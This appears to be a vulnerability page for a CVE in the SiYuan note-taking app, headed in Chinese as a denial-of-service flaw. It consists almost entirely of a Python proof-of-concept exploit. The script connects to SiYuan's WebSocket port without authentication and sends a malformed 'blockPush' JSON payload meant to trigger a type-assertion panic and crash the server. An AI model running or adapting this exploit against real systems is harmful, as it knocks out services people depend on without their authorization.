CVE-2026-33203 SiYuan 拒绝服务漏洞

import asyncio import websockets import json async def exploit(): # Target URL with the vulnerable query parameter # Note: Default SiYuan WebSocket port is usually 6806 target_url = "ws://<TARGET_IP>:6806/?auth=keepalive" try: # Establish connection without authentication async with websockets.connect(target_url) as websocket: print("[+] Connection established (Unauthenticated)") # Construct malformed JSON payload # This payload is designed to trigger a type assertion panic # by sending a type that the server does not expect. malicious_payload = { "cmd": "blockPush", "data": { "datatype": 12345, # Sending int instead of expected string/object "data": "malicious_content" } } print("[*] Sending malformed payload...") await websocket.send(json.dumps(malicious_payload)) print("[+] Payload sent. Check if the server crashed.") # Try to receive a response (likely to fail or hang if crashed) response = await websocket.recv() print(f"[-] Server response: {response}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": asyncio.run(exploit())